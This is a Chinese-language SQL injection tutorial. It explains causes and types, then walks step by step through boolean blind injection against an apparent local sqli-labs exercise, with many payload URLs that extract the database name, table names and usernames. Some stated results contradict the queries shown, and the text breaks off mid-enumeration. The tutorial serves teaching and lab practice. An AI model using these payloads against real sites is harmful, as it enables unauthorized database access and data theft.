概述
通过网页将 SQL 命令注入到 SQL 语句中的技术。攻击者可以绕过认证,访问、修改和删除数据库中的数据。在某些情况下,SQL 注入甚至可被用于执行操作系统级的命令,攻击者可能对防火墙后的网络带来破坏性更大的攻击。
SQL注入是从正常的WWW端口通过对页面请求访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙很少会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。
SQL注入的手法相当灵活,可以根据具体情况进行分析,构造巧妙的SQL语句,从而获取想要的数据。其原理就是从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取想到得到的资料。
网传对交警系统SQL 注入的案例,摄像头捕获车牌后,经过ORC转换成文字,插入数据库时SQL注入。
成因
数据与代码未严格分离,
用户提交的参数数据未做充分检查过滤即被代入到SQL命令中,改变了原有SQL命令的语义,且成功被数据库执行。
类型
可显注入:攻击者可以直接在当前界面内容中获取想要获得的内容。
报错注入:数据库查询返回结果并没有在页面中显示,但是应用程序将数据库报错信息打印到了页面中,所以攻击者可以构造数据库报错语句,从报错信息中获取想要获得的内容。
盲注:数据库查询结果无法从直观页面中获取,攻击者通过使用数据库逻辑或使数据库库执行延时等方法获取想要获得的内容。
过程
常见注入点:应用程序和数据交互的地方
Authentication(认证页面)
Search Fields (搜索页面)
Post Fields (Post请求)
Get Fields (Get请求)
HTTP Header(HTTP头部)
渗透中的作用
绕过登录验证:使用万能密码登录网站后台。
获取敏感数据:获取网站管理员账号,密码等。
文件系统操作:列目录,读取,写入文件等。
注册表操作:读取,写入,删除注册表等。
执行系统命令:远程执行命令。
盲注示例
http://localhost:81/sqli/Less-8/?id=1打开网址
这时会向数据库送入一条查询:SELECT * from table_name WHERE id=1
由上图可以看出,其结果就是得到一个以黄颜色显示的"You are in..........."的Web页面。
当攻击者使用嵌入(')的查询,即:http://localhost:81/sqli/Less-8/?id=1'
由上图可以看出,该黄颜色文本消失了,也没有得到任何错误信息,使用其他攻击方式的情况与此相同。
那么攻击者只好通过盲注来进行验证了,该注入查询返回的一定是TRUE或者FALSE。
http://localhost:81/sqli/Less-8/id=1' AND 1=1 --+
对应的后端查询为:SELECT * from table_name WHERE id=1' AND 1=1
数据库会对给定的情况1=1进行检查,如果查询有效,它就会返回TRUE。由上图可以看出,我们又得到了黄颜色显示的"You are in...........",这意味着该查询是有效的。
接着下一条查询,http://localhost:81/sqli/Less-8/?id=1' AND 1=0 --+
对应的后端查询为:SELECT * from table_name WHERE id=1' AND 1=0
同样的,数据库会对给定的情况1=0进行检查,显然该查询无效的,因此返回FALSE。由上图可以看出,该黄颜色文本右消失了。
以上即可说明该数据库是可被盲注的,由此我们就可以获取数据库信息了。
数字库中字符串长度
下面的查询中将会求数据库中的字符串长度。例如,数据库名为IGNITE,它包含了6个字母,那么该数据库字符串IGNITE的长度就等于6。
与此类似的,我们使用以下注入查询来检查当前数据库名的长度是否等于1,通过是否显示文本"You are in..........."即可判断返回的是TRUE还是FALSE。
http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 1 --+
由上图可以看出,返回的是FALSE,这意味着当前数据库名的长度不等于1。
http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 2 --+
由上图可以看出,当前数据库名的长度不等于2。
...
http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 8 --+
由上图可以看出,当检查到8时,文本"You are in..........."又出现了,这意味着当前数据库名的长度为8。
众所周知,计算机无法理解人类的语言,它只能理解二进制语言,因此,我们要使用ASCII码。ASCII码将字符集中的每一个符号都对应于一个整数,比如字母、数字、标点符号、特殊字符和操作符。
1 = I = 73
2 = G = 71
3 = N = 78
4 = I = 73
5 = T = 84
6 = E = 69
接下来使用ASCII码枚举出这8个字符。
下一条查询使用关键字ascii substr检查当前数据库名中的第一个字符对应的ASCII码是否大于100。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) > 100 --+
由上图可以看出,第一个字符的ASCII码确实大于100。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) > 100 --+
由上图可以看出,第一个字符的ASCII码小于120。这意味着第个字符的ASCII码在100和120之间。
接下来逐个检查。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 101 --+
由上图可以看出,第一个字符的ASCII码不等于101。
...
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 114 --+
由上图可以看出,第一个字符的ASCII码不等于114。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 115 --+
由上图可以看出,返回的是TRUE,意味着第一个字符的ASCII码等于115,即's'(小写)。
接下来就是第二个字符,重复以上步骤。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),2,1))) > 100 --+
...
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),2,1))) = 101 --+
由上图可以看出,返回的是TRUE,意味着第二个字符的ASCII码等于101,即'e'(小写)。
同理即可得到全部的8个字符,具体如下:
1 = s = 115
2 = e = 101
3 = c = 99
4 = u = 117
5 = r = 114
6 = i = 105
7 = t = 116
8 = y = 121
表中字符串长度
我们还得使用同样的技术来获取数据库中的表的信息。以下查询会检查第一个表名的长度是否大于5。
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) > 5 --+
由上图可以看出,第一个表名的长度确实大于5。
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) > 6 --+
由上图可以看出,第一个表名的长度不大于6。其实这已经意味着第一个表名的长度等于6了,不过为了演示,还是执行以下查询:
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 6 --+
由上图可以看出,第一个表名的长度确实等于6。
类似的,我用同样的技术测试了第二个和第三个表名的长度,改变一下上面所用查询中的表的编号即可。
再来演示一下如何测试第四个表名的长度。
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 6 --+
由上图可以看出,第四个表名的长度等于5。
然后就是枚举表名的具体字符,所用方法和前面的相同,这里以第四个表名为例。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))) > 115 --+
由上图可以看出,该表名第一个字符的ASCII码大于115。
接下来测试表名第一个字符的ASCII码是否大于120。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))) > 120 --+
由上图可以看出,该表名第一个字符的ASCII码小于120。结合上面可知,该表名第一个字符的ASCII码位于115到120之间,接着逐个检测。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))) = 116 --+
由上图可以看出,该表名第一个字符的ASCII码不等于116。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))) = 117 --+
由上图可以看出,该表名第一个字符的ASCII码等于117。这意味着第四个表名的第一个字符为'u'(小写)。
同理即可得到第四个表名的全部字符,如下:
1 = u = 117
2 = s = 115
3 = e = 101
4 = r = 114
5 = s = 115
枚举用户名
接下来我们使用同样的技术测试一下表users中用户名的长度。
http://localhost:81/sqli/Less-8/?id=1' AND (length((select username from users limit 0,1))) = 4 --+
由上图可以看出,用户名的长度等于5。
然后就是枚举用户名的具体字符,还是之前的技术。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) > 100 --+
由上图可以看出,该用户名第一个字符的ASCII码小于100。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) > 50 --+
由上图可以看出,该用户名第一个字符的ASCII码大于50。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) > 60 --+
由上图可以看出,该用户名第一个字符的ASCII码大于60。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) > 70 --+
由上图可以看出,该用户名第一个字符的ASCII码不大于70。结合上面可知,该用户名第一个字符的ASCII码位于60到70之间,接着逐个检测。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) = 68 --+
由上图可以看出,该用户名第一个字符的ASCII码等于68。这意味着第一个字符为'D'(大写)。
同理即可得到该用户名的全部字符,如下:
1 = D = 68
2 = u = 117
3 = m = 109
4 = b = 98